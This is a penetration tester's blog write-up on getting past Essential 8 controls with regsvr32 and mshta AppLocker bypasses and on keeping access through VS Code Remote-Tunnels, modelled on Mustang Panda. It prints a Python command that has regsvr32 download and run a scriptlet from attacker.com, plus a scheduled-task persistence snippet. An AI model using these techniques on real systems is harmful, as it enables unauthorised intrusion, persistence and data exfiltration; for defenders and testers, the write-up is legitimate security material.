Skip to content

Bypassing Essential 8 Controls with a Python and VS Code Exploit Inspired by Mustang Panda

Shaun Panda Essential 8

In this latest chapter of my penetration testing adventures, I wanted to walk through a recent engagement on how I broke past Essential 8 controls using a novel attack vector that leverages Visual Studio Code and Python. This method was inspired by a recent campaign attributed to the Mustang Panda threat actor group, who creatively used developer tools to establish a persistent foothold in their targets’ environments.

The Essential 8 is a baseline set of mitigation strategies that aim to reduce cybersecurity risks for organisations, including patching vulnerabilities, managing applications, and restricting administrative privileges. However, as part of my engagement, I uncovered critical gaps in their security posture, which allowed me to bypass several of these controls and emulate the real-world attack scenario.

The focus of my assessment was to test the strength of the E8 controls implemented, in particular the application control and endpoint protection employed to assess how well they prevented unauthorised software execution. Not only was I able to circumvent these controls, but I also re-enabled malicious macros and used a novel approach to inject Visual Studio Code (VS Code) into their environment. With these capabilities, I successfully recreated the same attack vector described in a recent Mustang Panda campaign — Using a Python-based malware and legitimate developer tools to establish a persistent foothold in the network.

1. The Assessment Setup: Bypassing Essential 8 and Application Control Measures

During the technical validation assessment for a client’s Essential 8 program, my primary objective was to evaluate how effectively their controls could withstand real-world attacks. Essential 8, after all, is considered a robust set of mitigation strategies for minimising the risk of cyber incidents. But when faced with the right combination of misconfigurations and overlooked policies, even these strong defences can be bypassed.

The first step in the engagement involved testing the effectiveness of their application control settings, implemented using Microsoft’s AppLocker. Although AppLocker is designed to limit the execution of unauthorised applications, there are some clever ways to get around these restrictions and execute my payloads.

AppLocker Bypass #1: Using Regsvr32 and Remote COM Scriptlets

AppLocker often struggles to restrict the execution of certain system binaries, particularly when those binaries are used to call remote resources. One such binary is regsvr32.exe, a tool typically used for registering and unregistering DLLs and ActiveX controls in the registry.

Using regsvr32, I was able to download and execute a malicious scriptlet file (.sct) from a remote server, completely bypassing the client’s application control rules.

A python snippet looking like this worked quite well –

command = 'regsvr32 /s /n /u /i:http://attacker.com/malicious.sct scrobj.dll' subprocess.call(command, shell=True)

This command silently (/s) calls regsvr32, instructs it to use a remote scriptlet (/i:http://attacker.com/malicious.sct), and then executes the downloaded script (scrobj.dll). Because the script is executed through a legitimate, signed Microsoft binary, AppLocker doesn’t interfere, allowing me to establish initial execution without alerting applocker.

AppLocker Bypass #2: Executing Unsigned Scripts Using Mshta.exe

Another powerful AppLocker bypass involves using mshta.exe, a signed Microsoft binary used to execute HTML applications (HTA). By leveraging mshta, I was able to run a malicious JavaScript payload hosted on my remote server, again sidestepping application control policies. These HTML applications can be used to run JavaScript code that downloads and executes my primary Python payload. Because mshta.exe is a trusted binary, it’s not blocked by AppLocker, allowing me to execute the payload undetected.

2. Re-Enabling Malicious Macros and Escalating the Attack

With AppLocker effectively neutralised, I moved on to the next phase: enabling malicious macros that had been disabled as part of the client’s Essential 8 controls. Macros, especially in Microsoft Office documents, are often the entry point for many real-world attacks because of their ability to execute arbitrary code.

Using a combination of registry edits and GPO bypass techniques, I managed to re-enable macros and configure them to execute my payload.

3. Using Visual Studio Code to Establish Persistent Access

Once I bypassed application control and enabled macros, I shifted my focus to injecting Visual Studio Code (VS Code) into the environment. VS Code is a widely trusted tool among developers, making it an ideal candidate for establishing a foothold while evading detection.

VS Code Injection and Task Scheduler Persistence

The first step was to deploy the VS Code executable using the AppLocker bypass methods described above. With VS Code in place, I set up a scheduled task to run a VS Code command-line interface (CLI) command, ensuring that the payload was executed every time the user logged in:

Python snippet:

import os
# Task Scheduler setup to run VS Code CLI at login
def setup_vscode_persistence():
task_name = "UpdateVSCode"
command = r'C:\ProgramData\Microsoft\VisualStudio\Setup\code.exe tunnel --name infected_machine --github-token your_github_token'
os.system(f'schtasks /create /tn {task_name} /tr "{command}" /sc onlogon /rl highest')

# Execute the task setup
setup_vscode_persistence()

 

The above is an example of where I started the idea was to create a task named UpdateVSCode that runs the VS Code CLI to establish a remote tunnel with the infected machine. This approach was to provide me a reliable way to maintain access and execute additional commands through the tunnel, even if the user reboots or logs out.

4. Establishing a Remote Tunnel Using the VS Code Remote-Tunnels Extension

Once I had Visual Studio Code installed and configured on the target machine, I took advantage of the VS Code Remote-Tunnels extension to establish a secure tunnel. This extension, which is typically used by developers for remote development, enables users to connect to a machine from any VS Code client without relying on traditional remote access protocols like RDP or SSH.

However, what makes this extension particularly powerful for an attacker is its ability to authenticate using a GitHub account. By associating the tunnel with a GitHub account, I could authenticate the session seamlessly and establish a persistent connection to the compromised system. This connection allows me to access the machine as if I were sitting right in front of it, without tripping the usual alarms that might be triggered by other remote access tools.

Using GitHub as the authentication mechanism not only provides a layer of obfuscation but also ensures that traffic between the compromised system and my remote machine is securely encrypted and routed through a legitimate third-party service. This makes detection significantly more challenging, as all interactions appear to be tied to normal development activities associated with VS Code.

5. Exfiltrating System Information and Sensitive Data

Once I had established a persistent connection to the target machine, I moved on to gathering sensitive information from the system. With full access at my disposal, I collected various pieces of data such as system information, running processes, and directory structures. This information was crucial for gaining a comprehensive understanding of the compromised environment.

After gathering the data, I needed to exfiltrate it to my Command and Control (C2) server. By using standard networking libraries, I could establish a connection to the C2 server and transfer the collected information in a structured format. This exfiltration step provided me with detailed insights into the target environment, including system configurations, user accounts, and active processes—data that could be used for further exploitation or lateral movement within the network.

The use of legitimate protocols and encrypted communications ensured that the exfiltration activity appeared benign, making it difficult for security solutions to detect or block. This step completed the initial phase of the attack, setting the stage for further malicious activities or deploying additional payloads, if necessary.

Final Thoughts

The attack vector demonstrated in this scenario highlights just how easily security frameworks can be undermined if they aren’t tested with some vigour. Much like the Mustang Panda campaign, which used legitimate tools like Visual Studio Code and GitHub to avoid detection, my assessment showed that attackers can find ways to exploit seemingly well-implemented controls.

By bypassing the client’s Essential 8 measures, re-enabling disabled macros, and leveraging trusted software to establish a foothold, I exposed critical weaknesses that wouldn’t have been identified through compliance alone. This creates a false sense of security, where organisations believe they’re protected simply because they’ve implemented a framework. However, without validating these controls through practical testing, gaps can persist, leaving systems vulnerable to sophisticated attack techniques.

The Mustang Panda example is a clear reminder that configurations matter. Even a small misconfiguration or overlooked policy can open the door for attackers to infiltrate a network, escalate privileges, and maintain long-term access. This assessment emphasises the need for thorough validation and continuous testing of security controls. Implementing a framework is only the first step—ensuring it actually defends against real-world threats is where the true challenge lies.